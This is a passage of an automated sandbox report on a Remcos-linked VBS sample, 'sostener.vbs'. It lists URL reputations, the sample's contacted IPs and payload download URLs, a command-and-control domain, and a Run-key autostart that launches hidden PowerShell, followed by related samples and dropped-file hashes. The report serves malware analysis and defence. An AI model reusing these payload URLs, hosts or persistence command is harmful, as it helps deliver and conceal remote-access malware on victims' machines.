00000009.00000002.3182605416.000001356CB84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.informacionoportuna.com/wp-content/uploads/2024/	powershell.exe, 00000004.00000002.2090885360.00000155C52CA000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.o.lencr.org0#	powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C88A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.3715892947.000001C0543BF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.informacionoportuna.com	powershell.exe, 00000004.00000002.2090885360.00000155C4FDD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3EB0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E90000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C09E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0EBA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C872000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.microsoft	powershell.exe, 00000014.00000002.3008770894.0000013DBA5E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://go.micro	powershell.exe, 00000004.00000002.2090885360.00000155C4C04000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C09E4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C2FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://informacionoportuna.com	powershell.exe, 00000004.00000002.2090885360.00000155C52A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
HTTP://91.202.233.169/TAK/REG/MARZ/ENVS/DS1.TXT	powershell.exe, 00000004.00000002.2090885360.00000155C419D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C1151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contoso.com/License	powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.233.169	powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C1151000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03CAF5000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://r11.i.lencr.org/0=	powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C88A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.3715892947.000001C0543BF000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6	powershell.exe, 00000001.00000002.2712472865.0000015713145000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC208000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.informacionoportuna.com/wp-content/uploads/2024/09/dX	powershell.exe, 00000013.00000002.2417662894.00000240C089E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C281000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://wicroft.com	powershell.exe, 00000013.00000002.2411972909.00000240C032A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.informacionoportuna.com	powershell.exe, 00000004.00000002.2090885360.00000155C52A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000009.00000002.2137458295.000001355E264000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2742802158.000001C03A2BE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	powershell.exe, 00000021.00000002.3715892947.000001C054380000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2742802158.000001C03A2BE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03C877000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000004.00000002.2351244189.00000155D3D00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C5662000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDD117000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEBA14000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2257316904.0000027FEB8DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA3A64000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95166000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2475466595.000001BCA392E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355E2BF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CB84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.3182605416.000001356CA4D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.orgX	powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://91.202.HX	powershell.exe, 00000004.00000002.2090885360.00000155C5553000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000001.00000002.2712472865.000001571315A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDB861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC938C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355C9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0439000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C044C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC230000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A172F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A172DE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F863E1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F863C4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E127284000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E12729D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE2F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1B9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC052D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC051F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000028.00000002.2814694674.000002CE3076E000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2712472865.000001571318C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2090885360.00000155C3C91000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2089840253.0000027FDB861000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC938C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355C9D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2417662894.00000240C0423000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000014.00000002.3100761973.0000013DBC25B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2404669960.0000020A17317000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2402946494.0000021F8648A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.2400633060.000001E1272DA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2793866781.000001C03BE16000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000024.00000002.2808818768.000001C60C1E2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000025.00000002.2807757443.000001CFC056A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000006.00000002.2089840253.0000027FDCCBC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.2094729613.000001BC95067000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2137458295.000001355DEC9000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
91.202.233.169	unknown	Russian Federation	9009	M247GB	true
15.235.85.194	informacionoportuna.com	United States	71	HP-INTERNET-ASUS	true
45.135.232.38	dcmxz.duckdns.org	Russian Federation	49392	ASBAXETNRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1519308
Start date and time:	2024-09-26 10:56:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	41
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	sostener.vbs
Detection:	MAL
Classification:	mal100.troj.expl.evad.winVBS@68/59@5/3
EGA Information:	Successful, ratio: 25%
HCA Information:	Successful, ratio: 100% Number of executed functions: 50 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target RegSvcs.exe, PID 3872 because it is empty
Execution Graph export aborted for target RegSvcs.exe, PID 7484 because it is empty
Execution Graph export aborted for target powershell.exe, PID 1120 because it is empty
Execution Graph export aborted for target powershell.exe, PID 5776 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6572 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7996 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: sostener.vbs

Simulations

Behavior and APIs

Time	Type	Description
04:56:59	API Interceptor	285x Sleep call for process: powershell.exe modified
04:57:17	API Interceptor	1x Sleep call for process: RegSvcs.exe modified
10:57:05	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run _______________________------------- Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "
10:57:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run _______________________------------- Powershell.exe -WindowStyle hidden "& 'C:\Users\user\AppData\Local\Temp\xx2.vbs' "

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
91.202.233.169	sostener.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/SH/Rcm.txt
	sostener.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/ZQWER/PeF3Dir.txt
	envifa.vbs	Get hash	malicious	Remcos	Browse	91.202.233.169/Tak/Reg/Marz/ZQWER/PeF3Dir.txt
15.235.85.194	sostener.vbs	Get hash	malicious	Remcos	Browse
45.135.232.38	172698102496c864a187aff64295ab0b70d4e0148fc884b8fdef49a9c604553959f0c4197e421.dat-decoded.exe	Get hash	malicious	Remcos	Browse
	1726981024afb0b5261027cf8cb56ba2e74288f35f8a8f03f714e141da3004c24e1b6d3c16555.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	decode_3c3a2e81bb9b9ea689c7c8d6aa9e24c0af55f3915e14295a64263688c83f4ab7.exe	Get hash	malicious	Remcos	Browse
	sostener.vbs	Get hash	malicious	Remcos	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
dcmxz.duckdns.org	1726981024afb0b5261027cf8cb56ba2e74288f35f8a8f03f714e141da3004c24e1b6d3c16555.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
bg.microsoft.map.fastly.net	HPDeskJet_043_SCAN.pdf	Get hash	malicious	Phisher	Browse	199.232.214.172
	https://pdftomuchmattersupdatings-vercel-app.translate.goog/?_x_tr_sl=auto&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp	Get hash	malicious	Unknown	Browse	199.232.214.172
	http://linksapp.top:443	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://www.cognitoforms.com/f/elMiWbNXi0G8lOV9LA6SDg/1	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	http://tiktoksc.xyz/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://qwehikd-asdu.xyz/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://geminiqwc-sw.top/	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://tiktok1688.cc/	Get hash	malicious	Unknown	Browse	199.232.214.172
	https://qwoms-dei3.top/	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://saihdqq-yadq.xyz/	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASBAXETNRU	#U0631#U0648#U0632 #U0633#U06cc#U0627#U0647 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0641#U0631#U0627#U062e#U0648#U0627#U0646 #U0631#U0648#U0632 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0631#U0648#U0632 #U0633#U06cc#U0627#U0647 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	#U0641#U0631#U0627#U062e#U0648#U0627#U0646 #U0631#U0648#U0632 #U06a9#U0627#U0631#U06af#U0631.exe	Get hash	malicious	Unknown	Browse	194.87.45.14
	172698102496c864a187aff64295ab0b70d4e0148fc884b8fdef49a9c604553959f0c4197e421.dat-decoded.exe	Get hash	malicious	Remcos	Browse	45.135.232.38
	1726981024afb0b5261027cf8cb56ba2e74288f35f8a8f03f714e141da3004c24e1b6d3c16555.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	45.135.232.38
	SecuriteInfo.com.Linux.Siggen.9999.8861.1379.elf	Get hash	malicious	Mirai	Browse	212.196.169.14
	file.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	212.192.12.222
	http://104.219.233.181/fwd/P2Q9MjU2Mjc5JmVpPTcyODUyMjcyJmlmPTUxNDQyJm5kcD03OTgzJnNpPTE3JmxpPTIyMzcz	Get hash	malicious	Phisher	Browse	45.147.195.6
	decode_3c3a2e81bb9b9ea689c7c8d6aa9e24c0af55f3915e14295a64263688c83f4ab7.exe	Get hash	malicious	Remcos	Browse	45.135.232.38
M247GB	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	6122.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	DRAFT BL - CLS930 KHH-TOLEDO(VIA NYC) SO6615#U21928152 WKH2406122.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	file.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer	Browse	91.202.233.158
	file.exe	Get hash	malicious	Amadey, CryptOne, PureLog Stealer, RedLine, Stealc, Vidar, Zhark RAT	Browse	91.202.233.158
	SecuriteInfo.com.Linux.Siggen.9999.31454.15725.elf	Get hash	malicious	Unknown	Browse	158.46.140.169
	BNE400266900B - RLS SO# W317pdf.scr.exe	Get hash	malicious	Remcos	Browse	104.250.180.178
	BNE400266900A - BL NO.BNE400266900.pdf.scr.exe	Get hash	malicious	XWorm	Browse	104.250.180.178
	jD6b7MZOhT.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine	Browse	91.202.233.158
HP-INTERNET-ASUS	sostener.vbs	Get hash	malicious	Remcos	Browse	15.235.85.194
	http://WWW.LUTHERANSONLINE.COM/SHALOMIC	Get hash	malicious	Unknown	Browse	15.235.211.177
	rsJtZBgpwG.elf	Get hash	malicious	Mirai	Browse	15.178.34.35
	https://jhgfurighiuhoisrfuu98rujerfhiu.pages.dev/coderogers.html	Get hash	malicious	HTMLPhisher	Browse	15.156.174.66
	Facturas de pago 003839,72011,030184.bat.exe	Get hash	malicious	AgentTesla	Browse	15.235.118.15
	https://credit.fb-business.com/	Get hash	malicious	Unknown	Browse	15.235.209.42
	http://t.yesware.com/tt/0ffd1f55c7e6a0ced56d29538e63fa334cce8cd2/340be3fbd5588b7ae8659d398f6ebdbe/6b6b3691935bcccf7dc7e5bf662a5dca/www.techcare.cl/pt/?conceicao.martins@cellnextelecom.pt	Get hash	malicious	Unknown	Browse	15.235.4.255
	Lista de embalaje y direcci#U00f3n de DHL.bat.exe	Get hash	malicious	AgentTesla	Browse	15.235.118.15
	D0F48A0632B6C451791F4257697E861961F06A6F.html	Get hash	malicious	Unknown	Browse	15.204.241.81
	firmware.i686.elf	Get hash	malicious	Unknown	Browse	15.157.89.240

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	sostener.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	15.235.85.194
	sostener.vbs	Get hash	malicious	Remcos	Browse	15.235.85.194
	asegurar.vbs	Get hash	malicious	Remcos, PureLog Stealer	Browse	15.235.85.194
	SecuriteInfo.com.Win32.CrypterX-gen.1497.25511.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	15.235.85.194
	CMR_7649.EXE.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	15.235.85.194
	RFQ____RM quotation_JPEG IMAGE.img.exe	Get hash	malicious	Snake Keylogger	Browse	15.235.85.194
	RFQ -PO.20571-0001-QBMS-PRQ-0200140.js	Get hash	malicious	AgentTesla, RedLine	Browse	15.235.85.194
	QUOTATION_SEPQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	15.235.85.194
	450230549.exe	Get hash	malicious	AgentTesla	Browse	15.235.85.194
	450230549.exe	Get hash	malicious	Unknown	Browse	15.235.85.194

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.253995428229511
Encrypted:	false
SSDEEP:	6:kKiuL/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:J/iDImsLNkPlE99SNxAhUe/3
MD5:	B8DC732FE01ED0EBDFD88C76B4EB7FDB
SHA1:	3C39E73AA7DBD671B3E1C1F515A48E3D85D5E2FB
SHA-256:	6E6597B298E46A033D1854B745D67EE413EDBB400F7CD70AAE6710DDCB1F56E8
SHA-512:	E1EDF847AE03E0D53738E53DC5D5B66AEE1298DBD4CBA742163E3961EE367AE0A39394917FA5F941CEDD4F300630A09B09677F38FBC3E79C2813A385C2A46EEF
Malicious:	false
Preview:	p...... ..........k.....(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.353683843266035
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAOKbbDLI4MWuPJKAVKhav:ML9E4KlKDE4KhKiKhk
MD5:	859802284B12C59DDBB85B0AC64C08F0
SHA1:	4FDDEFC6DB9645057FEB3322BE98EF10D6A593EE
SHA-256:	FB234B6DAB715ADABB23E450DADCDBCDDFF78A054BAF19B5CE7A9B4206B7492B
SHA-512:	8A371F671B962AE8AE0F58421A13E80F645FF0A9888462C1529B77289098A0EA4D6A9E2E07ABD4F96460FCC32AA87B0581CA4D747E77E69C3620BF1368BA9A67
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	28398
Entropy (8bit):	5.063590717663346
Encrypted:	false
SSDEEP:	768:TLbV3IpNBQkj2Uh4iUxkOZhxCardFvJOOdB8tAHkLNZzNKe1MlYo7YPU:TLbV3CNBQkj2Uh4iUxkOgqdJJOOdB8tu
MD5:	E489B959E14B529323FF0CFBF6CB9E56
SHA1:	B6150F38208711CD985C3434E62B37D1A71845B5
SHA-256:	AA30F61810AEE09A2FC4AEC7662809B7ADC47287FAF312DCFD0CF983B80AAE0E
SHA-512:	CE9985AFD0EB08BA7B4755735BCD609089040D8D59948C0776072C4A90B13C46FB8847A673E86A75777A0BEECF7C4E0EBAE53561AD8186F7A481EF57B48A39B6
Malicious:	false
